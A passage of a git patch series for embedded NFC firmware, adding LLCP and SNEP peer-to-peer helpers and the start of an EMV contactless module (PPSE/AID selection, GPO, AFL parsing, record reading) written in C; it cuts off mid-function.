+ out[3] = (uint8_t)(v & 0xFFU); + return 4U; +} + +size_t llcp_tlv_wks(uint8_t* out, size_t max, uint16_t wks) +{ + if (!out || max < 4U) return 0; + out[0] = LLCP_TLV_WKS; + out[1] = 2U; + out[2] = (uint8_t)((wks >> 8) & 0xFFU); + out[3] = (uint8_t)(wks & 0xFFU); + return 4U; +} + +size_t llcp_tlv_lto(uint8_t* out, size_t max, uint8_t lto) +{ + if (!out || max < 3U) return 0; + out[0] = LLCP_TLV_LTO; + out[1] = 1U; + out[2] = lto; + return 3U; +} + +size_t llcp_tlv_rw(uint8_t* out, size_t max, uint8_t rw) +{ + if (!out || max < 3U) return 0; + out[0] = LLCP_TLV_RW; + out[1] = 1U; + out[2] = (uint8_t)(rw & 0x0FU); + return 3U; +} + +size_t llcp_tlv_sn(uint8_t* out, size_t max, const char* sn) +{ + if (!out || !sn) return 0; + size_t len = strlen(sn); + if (max < (2U + len)) return 0; + out[0] = LLCP_TLV_SN; + out[1] = (uint8_t)len; + memcpy(&out[2], sn, len); + return 2U + len; +} + +size_t llcp_build_gt(const llcp_params_t* params, uint8_t* out, size_t max) +{ + if (!params || !out || max < 3U) return 0; + + size_t pos = 0; + out[pos++] = LLCP_MAGIC_0; + out[pos++] = LLCP_MAGIC_1; + out[pos++] = LLCP_MAGIC_2; + + uint8_t ver = (uint8_t)((params->version_major << 4) | + (params->version_minor & 0x0FU)); + size_t n = llcp_tlv_version(&out[pos], max - pos, ver); + if (n == 0) return 0; + pos += n; + + n = llcp_tlv_wks(&out[pos], max - pos, params->wks); + if (n == 0) return 0; + pos += n; + + uint8_t lto = (uint8_t)((params->lto_ms + 9U) / 10U); + n = llcp_tlv_lto(&out[pos], max - pos, lto); + if (n == 0) return 0; + pos += n; + + uint16_t miux = (params->miu > 128U) ? (uint16_t)(params->miu - 128U) : 0U; + n = llcp_tlv_miux(&out[pos], max - pos, miux); + if (n == 0) return 0; + pos += n; + + n = llcp_tlv_rw(&out[pos], max - pos, params->rw); + if (n == 0) return 0; + pos += n; + + return pos; +} + +bool llcp_parse_gt(const uint8_t* gt, size_t gt_len, llcp_params_t* out) +{ + if (!gt || gt_len < 3U || !out) return false; + + llcp_params_default(out); + if (gt[0] != LLCP_MAGIC_0 || gt[1] != LLCP_MAGIC_1 || gt[2] != LLCP_MAGIC_2) + return false; + + size_t pos = 3; + while (pos + 2U <= gt_len) { + uint8_t type = gt[pos++]; + uint8_t len = gt[pos++]; + if (pos + len > gt_len) break; + + switch (type) { + case LLCP_TLV_VERSION: + if (len >= 1) { + out->version_major = (uint8_t)((gt[pos] >> 4) & 0x0FU); + out->version_minor = (uint8_t)(gt[pos] & 0x0FU); + } + break; + case LLCP_TLV_MIUX: + if (len >= 2) { + uint16_t miux = (uint16_t)((gt[pos] << 8) | gt[pos + 1]); + miux &= 0x07FFU; + out->miu = (uint16_t)(128U + miux); + } + break; + case LLCP_TLV_WKS: + if (len >= 2) { + out->wks = (uint16_t)((gt[pos] << 8) | gt[pos + 1]); + } + break; + case LLCP_TLV_LTO: + if (len >= 1) { + out->lto_ms = (uint16_t)(gt[pos] * 10U); + } + break; + case LLCP_TLV_RW: + if (len >= 1) { + out->rw = (uint8_t)(gt[pos] & 0x0FU); + } + break; + default: + break; + } + + pos += len; + } + + return true; +} + +static void llcp_compute_negotiated(llcp_link_t* link) +{ + if (!link) return; + + uint8_t maj = link->local.version_major < link->remote.version_major ? + link->local.version_major : link->remote.version_major; + uint8_t min = (link->local.version_major == link->remote.version_major) ? + (link->local.version_minor < link->remote.version_minor ? + link->local.version_minor : link->remote.version_minor) : 0; + + link->negotiated.version_major = maj; + link->negotiated.version_minor = min; + link->negotiated.miu = (link->local.miu < link->remote.miu) ? + link->local.miu : link->remote.miu; + link->negotiated.wks = (uint16_t)(link->local.wks & link->remote.wks); + link->negotiated.lto_ms = (link->local.lto_ms < link->remote.lto_ms) ? + link->local.lto_ms : link->remote.lto_ms; + link->negotiated.rw = (link->local.rw < link->remote.rw) ? + link->local.rw : link->remote.rw; +} + +hb_nfc_err_t llcp_initiator_activate(llcp_link_t* link) +{ + if (!link) return HB_NFC_ERR_PARAM; + + nfc_rf_config_t cfg = { + .tech = NFC_RF_TECH_A, + .tx_rate = NFC_RF_BR_106, + .rx_rate = NFC_RF_BR_106, + .am_mod_percent = 0, + .tx_parity = true, + .rx_raw_parity = false, + .guard_time_us = 0, + .fdt_min_us = 0, + .validate_fdt = false, + }; + hb_nfc_err_t err = nfc_rf_apply(&cfg); + if (err != HB_NFC_OK) return err; + + if (!st25r_field_is_on()) { + err = st25r_field_on(); + if (err != HB_NFC_OK) return err; + } + + uint8_t gt[64]; + size_t gt_len = llcp_build_gt(&link->local, gt, sizeof(gt)); + if (gt_len == 0) return HB_NFC_ERR_INTERNAL; + + uint8_t atr[96]; + size_t pos = 0; + atr[pos++] = NFCDEP_CMD0_REQ; + atr[pos++] = NFCDEP_CMD1_ATR_REQ; + memcpy(&atr[pos], link->nfcid3, 10); pos += 10; + atr[pos++] = link->did; + atr[pos++] = link->bs; + atr[pos++] = link->br; + link->pp = llcp_pp_from_miu(link->local.miu); + atr[pos++] = link->pp; + memcpy(&atr[pos], gt, gt_len); pos += gt_len; + + uint8_t rx[128] = { 0 }; + int len = nfc_poller_transceive(atr, pos, true, rx, sizeof(rx), 1, 50); + if (len < 17) return HB_NFC_ERR_NO_CARD; + len = llcp_strip_crc(rx, len); + + if (rx[0] != NFCDEP_CMD0_RES || rx[1] != NFCDEP_CMD1_ATR_RES) { + ESP_LOGW(TAG, "ATR_RES invalid: %02X %02X", rx[0], rx[1]); + return HB_NFC_ERR_PROTOCOL; + } + + link->did = rx[12]; + link->bs = rx[13]; + link->br = rx[14]; + link->to = rx[15]; + link->pp = rx[16]; + link->lr = llcp_lr_from_pp(link->pp); + link->rwt_ms = llcp_rwt_ms(link->to); + + size_t gt_off = 17U; + if (gt_off < (size_t)len) { + if (!llcp_parse_gt(&rx[gt_off], (size_t)len - gt_off, &link->remote)) { + ESP_LOGW(TAG, "LLCP magic not found"); + return HB_NFC_ERR_PROTOCOL; + } + } else { + return HB_NFC_ERR_PROTOCOL; + } + + llcp_compute_negotiated(link); + link->pni = 0; + link->llcp_active = true; + ESP_LOGI(TAG, "LLCP active: MIU=%u RW=%u LTO=%ums", + (unsigned)link->negotiated.miu, + (unsigned)link->negotiated.rw, + (unsigned)link->negotiated.lto_ms); + return HB_NFC_OK; +} + +static int nfc_dep_transceive(llcp_link_t* link, + const uint8_t* tx, size_t tx_len, + uint8_t* rx, size_t rx_max, + int timeout_ms) +{ + if (!link || !tx || tx_len == 0 || !rx || rx_max == 0) return 0; + + uint16_t lr = link->lr ? link->lr : 64U; + if (tx_len > lr) return 0; + + uint8_t frame[3 + 256]; + size_t pos = 0; + frame[pos++] = NFCDEP_CMD0_REQ; + frame[pos++] = NFCDEP_CMD1_DEP_REQ; + frame[pos++] = (uint8_t)(link->pni & NFCDEP_PFB_PNI_MASK); + memcpy(&frame[pos], tx, tx_len); + pos += tx_len; + + uint8_t rbuf[512] = { 0 }; + int tmo = (timeout_ms > 0) ? timeout_ms : (int)(link->rwt_ms ? link->rwt_ms : 50U); + int rlen = nfc_poller_transceive(frame, pos, true, rbuf, sizeof(rbuf), 1, tmo); + if (rlen < 3) return 0; + rlen = llcp_strip_crc(rbuf, rlen); + + if (rbuf[0] != NFCDEP_CMD0_RES || rbuf[1] != NFCDEP_CMD1_DEP_RES) { + ESP_LOGW(TAG, "DEP_RES invalid: %02X %02X", rbuf[0], rbuf[1]); + return 0; + } + + uint8_t pfb = rbuf[2]; + size_t off = 3; + if (pfb & NFCDEP_PFB_DID) off++; + if (pfb & NFCDEP_PFB_NAD) off++; + if (pfb & NFCDEP_PFB_MI) { + ESP_LOGW(TAG, "DEP chaining not supported"); + return 0; + } + + if (off >= (size_t)rlen) return 0; + size_t payload_len = (size_t)rlen - off; + if (payload_len > rx_max) payload_len = rx_max; + memcpy(rx, &rbuf[off], payload_len); + + link->pni = (uint8_t)((link->pni + 1U) & 0x03U); + return (int)payload_len; +} + +int llcp_exchange_pdu(llcp_link_t* link, + const uint8_t* tx_pdu, size_t tx_len, + uint8_t* rx_pdu, size_t rx_max, + int timeout_ms) +{ + if (!link || !link->llcp_active) return 0; + return nfc_dep_transceive(link, tx_pdu, tx_len, rx_pdu, rx_max, timeout_ms); +} + +size_t llcp_build_header(uint8_t dsap, uint8_t ptype, uint8_t ssap, uint8_t* out, size_t max) +{ + if (!out || max < 2U) return 0; + out[0] = (uint8_t)((dsap << 2) | ((ptype >> 2) & 0x03U)); + out[1] = (uint8_t)(((ptype & 0x03U) << 6) | (ssap & 0x3FU)); + return 2U; +} + +bool llcp_parse_header(const uint8_t* pdu, size_t len, + uint8_t* dsap, uint8_t* ptype, uint8_t* ssap, + uint8_t* ns, uint8_t* nr) +{ + if (!pdu || len < 2U) return false; + uint8_t d = (uint8_t)(pdu[0] >> 2); + uint8_t p = (uint8_t)(((pdu[0] & 0x03U) << 2) | (pdu[1] >> 6)); + uint8_t s = (uint8_t)(pdu[1] & 0x3FU); + + if (dsap) *dsap = d; + if (ptype) *ptype = p; + if (ssap) *ssap = s; + + if ((p == LLCP_PTYPE_I || p == LLCP_PTYPE_RR || p == LLCP_PTYPE_RNR) && len >= 3U) { + if (ns) *ns = (uint8_t)(pdu[2] >> 4); + if (nr) *nr = (uint8_t)(pdu[2] & 0x0FU); + } + return true; +} + +size_t llcp_build_symm(uint8_t* out, size_t max) +{ + return llcp_build_header(0, LLCP_PTYPE_SYMM, 0, out, max); +} + +size_t llcp_build_ui(uint8_t dsap, uint8_t ssap, + const uint8_t* info, size_t info_len, + uint8_t* out, size_t max) +{ + size_t pos = llcp_build_header(dsap, LLCP_PTYPE_UI, ssap, out, max); + if (pos == 0) return 0; + if (!info || info_len == 0) return pos; + if (pos + info_len > max) return 0; + memcpy(&out[pos], info, info_len); + return pos + info_len; +} + +size_t llcp_build_connect(uint8_t dsap, uint8_t ssap, const char* service_name, + const llcp_params_t* params, uint8_t* out, size_t max) +{ + size_t pos = llcp_build_header(dsap, LLCP_PTYPE_CONNECT, ssap, out, max); + if (pos == 0) return 0; + + llcp_params_t p; + if (params) p = *params; + else llcp_params_default(&p); + + size_t n = llcp_tlv_rw(&out[pos], max - pos, p.rw); + if (n == 0) return 0; + pos += n; + + uint16_t miux = (p.miu > 128U) ? (uint16_t)(p.miu - 128U) : 0U; + n = llcp_tlv_miux(&out[pos], max - pos, miux); + if (n == 0) return 0; + pos += n; + + if (service_name) { + n = llcp_tlv_sn(&out[pos], max - pos, service_name); + if (n == 0) return 0; + pos += n; + } + + return pos; +} + +size_t llcp_build_cc(uint8_t dsap, uint8_t ssap, + const llcp_params_t* params, uint8_t* out, size_t max) +{ + size_t pos = llcp_build_header(dsap, LLCP_PTYPE_CC, ssap, out, max); + if (pos == 0) return 0; + + llcp_params_t p; + if (params) p = *params; + else llcp_params_default(&p); + + size_t n = llcp_tlv_rw(&out[pos], max - pos, p.rw); + if (n == 0) return 0; + pos += n; + + uint16_t miux = (p.miu > 128U) ? (uint16_t)(p.miu - 128U) : 0U; + n = llcp_tlv_miux(&out[pos], max - pos, miux); + if (n == 0) return 0; + pos += n; + + return pos; +} + +size_t llcp_build_disc(uint8_t dsap, uint8_t ssap, uint8_t* out, size_t max) +{ + return llcp_build_header(dsap, LLCP_PTYPE_DISC, ssap, out, max); +} + +size_t llcp_build_dm(uint8_t dsap, uint8_t ssap, uint8_t reason, uint8_t* out, size_t max) +{ + size_t pos = llcp_build_header(dsap, LLCP_PTYPE_DM, ssap, out, max); + if (pos == 0 || max < pos + 1U) return 0; + out[pos++] = reason; + return pos; +} + +size_t llcp_build_i(uint8_t dsap, uint8_t ssap, uint8_t ns, uint8_t nr, + const uint8_t* info, size_t info_len, + uint8_t* out, size_t max) +{ + size_t pos = llcp_build_header(dsap, LLCP_PTYPE_I, ssap, out, max); + if (pos == 0 || max < pos + 1U) return 0; + out[pos++] = (uint8_t)(((ns & 0x0FU) << 4) | (nr & 0x0FU)); + if (info && info_len > 0) { + if (pos + info_len > max) return 0; + memcpy(&out[pos], info, info_len); + pos += info_len; + } + return pos; +} + +size_t llcp_build_rr(uint8_t dsap, uint8_t ssap, uint8_t nr, uint8_t* out, size_t max) +{ + size_t pos = llcp_build_header(dsap, LLCP_PTYPE_RR, ssap, out, max); + if (pos == 0 || max < pos + 1U) return 0; + out[pos++] = (uint8_t)(nr & 0x0FU); + return pos; +} + +size_t llcp_build_rnr(uint8_t dsap, uint8_t ssap, uint8_t nr, uint8_t* out, size_t max) +{ + size_t pos = llcp_build_header(dsap, LLCP_PTYPE_RNR, ssap, out, max); + if (pos == 0 || max < pos + 1U) return 0; + out[pos++] = (uint8_t)(nr & 0x0FU); + return pos; +} diff --git a/firmware_p4/components/Applications/nfc/protocols/llcp/snep.c b/firmware_p4/components/Applications/nfc/protocols/llcp/snep.c new file mode 100644 index 00000000..df5defb1 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/llcp/snep.c @@ -0,0 +1,229 @@ +/** + * @file snep.c + * @brief SNEP (Simple NDEF Exchange Protocol) client helpers. + */ +#include "snep.h" + +#include +#include + +#define SNEP_SN "urn:nfc:sn:snep" +#define SNEP_WKS_SAP 0x04U +#define SNEP_LOCAL_SSAP 0x20U + +const char* snep_resp_str(uint8_t code) +{ + switch (code) { + case SNEP_RES_SUCCESS: return "Success"; + case SNEP_RES_CONTINUE: return "Continue"; + case SNEP_RES_NOT_FOUND: return "Not found"; + case SNEP_RES_EXCESS_DATA: return "Excess data"; + case SNEP_RES_BAD_REQUEST: return "Bad request"; + case SNEP_RES_NOT_IMPLEMENTED: return "Not implemented"; + case SNEP_RES_UNSUPPORTED_VER: return "Unsupported version"; + case SNEP_RES_REJECT: return "Reject"; + default: return "Unknown"; + } +} + +static hb_nfc_err_t snep_llcp_connect(llcp_link_t* link, int timeout_ms) +{ + if (!link || !link->llcp_active) return HB_NFC_ERR_PARAM; + uint8_t tx[96]; + size_t tx_len = llcp_build_connect(SNEP_WKS_SAP, SNEP_LOCAL_SSAP, + SNEP_SN, &link->local, + tx, sizeof(tx)); + if (tx_len == 0) return HB_NFC_ERR_PARAM; + + uint8_t rx[96]; + int rlen = llcp_exchange_pdu(link, tx, tx_len, rx, sizeof(rx), timeout_ms); + if (rlen < 2) return HB_NFC_ERR_PROTOCOL; + + uint8_t dsap = 0, ptype = 0, ssap = 0; + if (!llcp_parse_header(rx, (size_t)rlen, &dsap, &ptype, &ssap, NULL, NULL)) { + return HB_NFC_ERR_PROTOCOL; + } + if (ptype == LLCP_PTYPE_CC) return HB_NFC_OK; + if (ptype == LLCP_PTYPE_DM) return HB_NFC_ERR_PROTOCOL; + return HB_NFC_ERR_PROTOCOL; +} + +static void snep_llcp_disconnect(llcp_link_t* link, int timeout_ms) +{ + if (!link || !link->llcp_active) return; + uint8_t tx[8]; + size_t tx_len = llcp_build_disc(SNEP_WKS_SAP, SNEP_LOCAL_SSAP, tx, sizeof(tx)); + if (tx_len == 0) return; + uint8_t rx[16]; + (void)llcp_exchange_pdu(link, tx, tx_len, rx, sizeof(rx), timeout_ms); +} + +static hb_nfc_err_t snep_send_req(llcp_link_t* link, + const uint8_t* snep, size_t snep_len, + uint8_t* out, size_t out_max, size_t* out_len, + int timeout_ms) +{ + if (!link || !link->llcp_active || !snep || snep_len == 0) return HB_NFC_ERR_PARAM; + if (link->negotiated.miu && snep_len > link->negotiated.miu) { + return HB_NFC_ERR_PARAM; + } + + size_t pdu_max = 3U + snep_len; + uint8_t stack_pdu[512]; + uint8_t* pdu = stack_pdu; + bool dyn = false; + if (pdu_max > sizeof(stack_pdu)) { + pdu = (uint8_t*)malloc(pdu_max); + if (!pdu) return HB_NFC_ERR_INTERNAL; + dyn = true; + } + + size_t pdu_len = llcp_build_i(SNEP_WKS_SAP, SNEP_LOCAL_SSAP, + 0, 0, snep, snep_len, + pdu, pdu_max); + if (pdu_len == 0) { + if (dyn) free(pdu); + return HB_NFC_ERR_PARAM; + } + + uint8_t rx[512]; + int rlen = llcp_exchange_pdu(link, pdu, pdu_len, rx, sizeof(rx), timeout_ms); + if (dyn) free(pdu); + if (rlen < 3) return HB_NFC_ERR_PROTOCOL; + + uint8_t ptype = 0; + if (!llcp_parse_header(rx, (size_t)rlen, NULL, &ptype, NULL, NULL, NULL)) { + return HB_NFC_ERR_PROTOCOL; + } + if (ptype != LLCP_PTYPE_I) return HB_NFC_ERR_PROTOCOL; + + size_t info_len = (size_t)rlen - 3U; + if (out && out_max > 0) { + size_t copy = (info_len > out_max) ? out_max : info_len; + memcpy(out, &rx[3], copy); + if (out_len) *out_len = copy; + } else if (out_len) { + *out_len = info_len; + } + return HB_NFC_OK; +} + +hb_nfc_err_t snep_client_put(llcp_link_t* link, + const uint8_t* ndef, size_t ndef_len, + uint8_t* resp_code, + int timeout_ms) +{ + if (!link || !ndef || ndef_len == 0) return HB_NFC_ERR_PARAM; + + hb_nfc_err_t err = snep_llcp_connect(link, timeout_ms); + if (err != HB_NFC_OK) return err; + + size_t snep_len = 6U + ndef_len; + uint8_t stack_msg[256]; + uint8_t* msg = stack_msg; + bool dyn = false; + if (snep_len > sizeof(stack_msg)) { + msg = (uint8_t*)malloc(snep_len); + if (!msg) return HB_NFC_ERR_INTERNAL; + dyn = true; + } + + msg[0] = SNEP_VERSION_1_0; + msg[1] = SNEP_REQ_PUT; + msg[2] = (uint8_t)((ndef_len >> 24) & 0xFFU); + msg[3] = (uint8_t)((ndef_len >> 16) & 0xFFU); + msg[4] = (uint8_t)((ndef_len >> 8) & 0xFFU); + msg[5] = (uint8_t)(ndef_len & 0xFFU); + memcpy(&msg[6], ndef, ndef_len); + + uint8_t resp[64]; + size_t resp_len = 0; + err = snep_send_req(link, msg, snep_len, resp, sizeof(resp), &resp_len, timeout_ms); + if (dyn) free(msg); + if (err != HB_NFC_OK) { + snep_llcp_disconnect(link, timeout_ms); + return err; + } + + if (resp_len < 6U) { + snep_llcp_disconnect(link, timeout_ms); + return HB_NFC_ERR_PROTOCOL; + } + + uint8_t code = resp[1]; + if (resp_code) *resp_code = code; + snep_llcp_disconnect(link, timeout_ms); + return (code == SNEP_RES_SUCCESS) ? HB_NFC_OK : HB_NFC_ERR_PROTOCOL; +} + +hb_nfc_err_t snep_client_get(llcp_link_t* link, + const uint8_t* req_ndef, size_t req_len, + uint8_t* out, size_t out_max, size_t* out_len, + uint8_t* resp_code, + int timeout_ms) +{ + if (!link || !req_ndef || req_len == 0) return HB_NFC_ERR_PARAM; + + hb_nfc_err_t err = snep_llcp_connect(link, timeout_ms); + if (err != HB_NFC_OK) return err; + + size_t snep_len = 6U + req_len; + uint8_t stack_msg[256]; + uint8_t* msg = stack_msg; + bool dyn = false; + if (snep_len > sizeof(stack_msg)) { + msg = (uint8_t*)malloc(snep_len); + if (!msg) return HB_NFC_ERR_INTERNAL; + dyn = true; + } + + msg[0] = SNEP_VERSION_1_0; + msg[1] = SNEP_REQ_GET; + msg[2] = (uint8_t)((req_len >> 24) & 0xFFU); + msg[3] = (uint8_t)((req_len >> 16) & 0xFFU); + msg[4] = (uint8_t)((req_len >> 8) & 0xFFU); + msg[5] = (uint8_t)(req_len & 0xFFU); + memcpy(&msg[6], req_ndef, req_len); + + uint8_t resp[512]; + size_t resp_len = 0; + err = snep_send_req(link, msg, snep_len, resp, sizeof(resp), &resp_len, timeout_ms); + if (dyn) free(msg); + if (err != HB_NFC_OK) { + snep_llcp_disconnect(link, timeout_ms); + return err; + } + + if (resp_len < 6U) { + snep_llcp_disconnect(link, timeout_ms); + return HB_NFC_ERR_PROTOCOL; + } + + uint8_t code = resp[1]; + if (resp_code) *resp_code = code; + if (code != SNEP_RES_SUCCESS) { + snep_llcp_disconnect(link, timeout_ms); + return HB_NFC_ERR_PROTOCOL; + } + + size_t ndef_len = ((size_t)resp[2] << 24) | + ((size_t)resp[3] << 16) | + ((size_t)resp[4] << 8) | + (size_t)resp[5]; + if (resp_len < 6U + ndef_len) { + snep_llcp_disconnect(link, timeout_ms); + return HB_NFC_ERR_PROTOCOL; + } + + if (out && out_max >= ndef_len) { + memcpy(out, &resp[6], ndef_len); + if (out_len) *out_len = ndef_len; + } else if (out_len) { + *out_len = ndef_len; + snep_llcp_disconnect(link, timeout_ms); + return HB_NFC_ERR_PARAM; + } + + snep_llcp_disconnect(link, timeout_ms); + return HB_NFC_OK; +} From b0f60937603975e2e976d8eac988fa3255865836 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:13:38 -0300 Subject: [PATCH 37/61] feat(nfc): add EMV contactless payment protocol --- .../Applications/nfc/protocols/emv/emv.c | 332 ++++++++++++++++++ .../nfc/protocols/emv/include/emv.h | 82 +++++ 2 files changed, 414 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/emv/emv.c create mode 100644 firmware_p4/components/Applications/nfc/protocols/emv/include/emv.h diff --git a/firmware_p4/components/Applications/nfc/protocols/emv/emv.c b/firmware_p4/components/Applications/nfc/protocols/emv/emv.c new file mode 100644 index 00000000..1cd02a45 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/emv/emv.c @@ -0,0 +1,332 @@ +/** + * @file emv.c + * @brief EMV contactless helpers (PPSE, AID select, GPO, READ RECORD). + */ +#include "emv.h" + +#include +#include "nfc_apdu.h" + +#define EMV_PPSE_AID_LEN 14U + +static const uint8_t k_ppse_aid[EMV_PPSE_AID_LEN] = { + '2','P','A','Y','.','S','Y','S','.','D','D','F','0','1' +}; + +typedef struct { + uint32_t tag; + size_t len; + const uint8_t* value; + size_t tlv_len; + bool constructed; +} emv_tlv_t; + +static bool emv_tlv_next(const uint8_t* data, size_t len, + size_t* pos, emv_tlv_t* out) +{ + if (!data || !pos || !out) return false; + if (*pos >= len) return false; + + size_t start = *pos; + size_t p = *pos; + uint8_t first = data[p++]; + uint32_t tag = first; + if ((first & 0x1FU) == 0x1FU) { + int cnt = 0; + uint8_t b = 0; + do { + if (p >= len) return false; + b = data[p++]; + tag = (tag << 8) | b; + cnt++; + } while ((b & 0x80U) && cnt < 3); + if (cnt >= 3 && (b & 0x80U)) return false; + } + + if (p >= len) return false; + uint8_t l = data[p++]; + size_t vlen = 0; + if ((l & 0x80U) == 0) { + vlen = l; + } else { + uint8_t n = (uint8_t)(l & 0x7FU); + if (n == 1U) { + if (p >= len) return false; + vlen = data[p++]; + } else if (n == 2U) { + if (p + 1U >= len) return false; + vlen = ((size_t)data[p] << 8) | data[p + 1]; + p += 2U; + } else { + return false; + } + } + + if (p + vlen > len) return false; + + out->tag = tag; + out->len = vlen; + out->value = &data[p]; + out->tlv_len = (p - start) + vlen; + out->constructed = (first & 0x20U) != 0; + *pos = p + vlen; + return true; +} + +static bool emv_tlv_find_tag(const uint8_t* data, size_t len, + uint32_t tag, const uint8_t** val, size_t* vlen) +{ + size_t pos = 0; + emv_tlv_t tlv; + while (emv_tlv_next(data, len, &pos, &tlv)) { + if (tlv.tag == tag) { + if (val) *val = tlv.value; + if (vlen) *vlen = tlv.len; + return true; + } + if (tlv.constructed && tlv.len > 0) { + if (emv_tlv_find_tag(tlv.value, tlv.len, tag, val, vlen)) return true; + } + } + return false; +} + +typedef struct { + emv_app_t* apps; + size_t max; + size_t count; + emv_app_t* last; +} emv_app_list_t; + +static void emv_extract_cb(const emv_tlv_t* tlv, void* user) +{ + if (!tlv || !user) return; + emv_app_list_t* list = (emv_app_list_t*)user; + if (tlv->tag == 0x4FU && tlv->len > 0) { + if (list->count >= list->max) return; + emv_app_t* app = &list->apps[list->count++]; + memset(app, 0, sizeof(*app)); + size_t copy = (tlv->len > EMV_AID_MAX_LEN) ? EMV_AID_MAX_LEN : tlv->len; + memcpy(app->aid, tlv->value, copy); + app->aid_len = (uint8_t)copy; + list->last = app; + return; + } + if (tlv->tag == 0x50U && tlv->len > 0 && list->last) { + size_t copy = (tlv->len > EMV_APP_LABEL_MAX) ? EMV_APP_LABEL_MAX : tlv->len; + memcpy(list->last->label, tlv->value, copy); + list->last->label[copy] = '\0'; + } +} + +static void emv_tlv_scan(const uint8_t* data, size_t len, + void (*cb)(const emv_tlv_t*, void*), void* user) +{ + size_t pos = 0; + emv_tlv_t tlv; + while (emv_tlv_next(data, len, &pos, &tlv)) { + if (cb) cb(&tlv, user); + if (tlv.constructed && tlv.len > 0) { + emv_tlv_scan(tlv.value, tlv.len, cb, user); + } + } +} + +hb_nfc_err_t emv_select_ppse(hb_nfc_protocol_t proto, + const void* ctx, + uint8_t* fci, size_t fci_max, size_t* fci_len, + uint16_t* sw, + int timeout_ms) +{ + uint8_t apdu[32]; + size_t apdu_len = nfc_apdu_build_select_aid(apdu, sizeof(apdu), + k_ppse_aid, EMV_PPSE_AID_LEN, + true, 0x00); + if (apdu_len == 0) return HB_NFC_ERR_PARAM; + return nfc_apdu_transceive(proto, ctx, apdu, apdu_len, + fci, fci_max, fci_len, sw, timeout_ms); +} + +size_t emv_extract_aids(const uint8_t* fci, size_t fci_len, + emv_app_t* out, size_t max) +{ + if (!fci || !out || max == 0) return 0; + emv_app_list_t list = { + .apps = out, + .max = max, + .count = 0, + .last = NULL + }; + emv_tlv_scan(fci, fci_len, emv_extract_cb, &list); + return list.count; +} + +hb_nfc_err_t emv_select_aid(hb_nfc_protocol_t proto, + const void* ctx, + const uint8_t* aid, size_t aid_len, + uint8_t* fci, size_t fci_max, size_t* fci_len, + uint16_t* sw, + int timeout_ms) +{ + uint8_t apdu[48]; + size_t apdu_len = nfc_apdu_build_select_aid(apdu, sizeof(apdu), + aid, aid_len, + true, 0x00); + if (apdu_len == 0) return HB_NFC_ERR_PARAM; + return nfc_apdu_transceive(proto, ctx, apdu, apdu_len, + fci, fci_max, fci_len, sw, timeout_ms); +} + +static size_t emv_build_gpo_apdu(uint8_t* out, size_t max, + const uint8_t* pdol, size_t pdol_len) +{ + if (!out || max < 6U) return 0; + if (pdol_len > 0xFD) return 0; + size_t lc = 2U + pdol_len; + if (max < (8U + pdol_len)) return 0; + + size_t pos = 0; + out[pos++] = 0x80; + out[pos++] = 0xA8; + out[pos++] = 0x00; + out[pos++] = 0x00; + out[pos++] = (uint8_t)lc; + out[pos++] = 0x83; + out[pos++] = (uint8_t)pdol_len; + if (pdol_len > 0 && pdol) { + memcpy(&out[pos], pdol, pdol_len); + pos += pdol_len; + } + out[pos++] = 0x00; /* Le */ + return pos; +} + +hb_nfc_err_t emv_get_processing_options(hb_nfc_protocol_t proto, + const void* ctx, + const uint8_t* pdol, size_t pdol_len, + uint8_t* gpo, size_t gpo_max, size_t* gpo_len, + uint16_t* sw, + int timeout_ms) +{ + uint8_t apdu[64]; + size_t apdu_len = emv_build_gpo_apdu(apdu, sizeof(apdu), pdol, pdol_len); + if (apdu_len == 0) return HB_NFC_ERR_PARAM; + return nfc_apdu_transceive(proto, ctx, apdu, apdu_len, + gpo, gpo_max, gpo_len, sw, timeout_ms); +} + +size_t emv_parse_afl(const uint8_t* gpo, size_t gpo_len, + emv_afl_entry_t* out, size_t max) +{ + if (!gpo || gpo_len < 2U || !out || max == 0) return 0; + + const uint8_t* afl = NULL; + size_t afl_len = 0; + + if (gpo[0] == 0x80U) { + size_t val_len = gpo[1]; + if (val_len + 2U > gpo_len || val_len < 2U) return 0; + afl = &gpo[2 + 2]; /* skip AIP (2 bytes) */ + afl_len = val_len - 2U; + } else if (gpo[0] == 0x77U) { + if (!emv_tlv_find_tag(gpo, gpo_len, 0x94U, &afl, &afl_len)) return 0; + } else { + return 0; + } + + size_t count = 0; + for (size_t i = 0; i + 3U < afl_len && count < max; i += 4U) { + emv_afl_entry_t* e = &out[count++]; + e->sfi = (uint8_t)((afl[i] >> 3) & 0x1FU); + e->record_first = afl[i + 1]; + e->record_last = afl[i + 2]; + e->offline_auth_records = afl[i + 3]; + } + return count; +} + +hb_nfc_err_t emv_read_record(hb_nfc_protocol_t proto, + const void* ctx, + uint8_t sfi, + uint8_t record, + uint8_t* out, size_t out_max, size_t* out_len, + uint16_t* sw, + int timeout_ms) +{ + if (!out || out_max < 2U) return HB_NFC_ERR_PARAM; + uint8_t apdu[5]; + apdu[0] = 0x00; + apdu[1] = 0xB2; + apdu[2] = record; + apdu[3] = (uint8_t)((sfi << 3) | 0x04U); + apdu[4] = 0x00; /* Le */ + return nfc_apdu_transceive(proto, ctx, apdu, sizeof(apdu), + out, out_max, out_len, sw, timeout_ms); +} + +hb_nfc_err_t emv_read_records(hb_nfc_protocol_t proto, + const void* ctx, + const emv_afl_entry_t* afl, size_t afl_count, + emv_record_cb_t cb, void* user, + int timeout_ms) +{ + if (!afl || afl_count == 0) return HB_NFC_ERR_PARAM; + + uint8_t resp[256]; + for (size_t i = 0; i < afl_count; i++) { + const emv_afl_entry_t* e = &afl[i]; + for (uint8_t rec = e->record_first; rec <= e->record_last; rec++) { + size_t rlen = 0; + uint16_t sw = 0; + hb_nfc_err_t err = emv_read_record(proto, ctx, e->sfi, rec, + resp, sizeof(resp), &rlen, + &sw, timeout_ms); + if (err != HB_NFC_OK) return err; + if (cb) cb(e->sfi, rec, resp, rlen, user); + if (rec == 0xFFU) break; + } + } + return HB_NFC_OK; +} + +hb_nfc_err_t emv_run_basic(hb_nfc_protocol_t proto, + const void* ctx, + emv_app_t* app_out, + emv_record_cb_t cb, void* user, + int timeout_ms) +{ + uint8_t fci[256]; + size_t fci_len = 0; + uint16_t sw = 0; + hb_nfc_err_t err = emv_select_ppse(proto, ctx, fci, sizeof(fci), &fci_len, + &sw, timeout_ms); + if (err != HB_NFC_OK) return err; + + emv_app_t 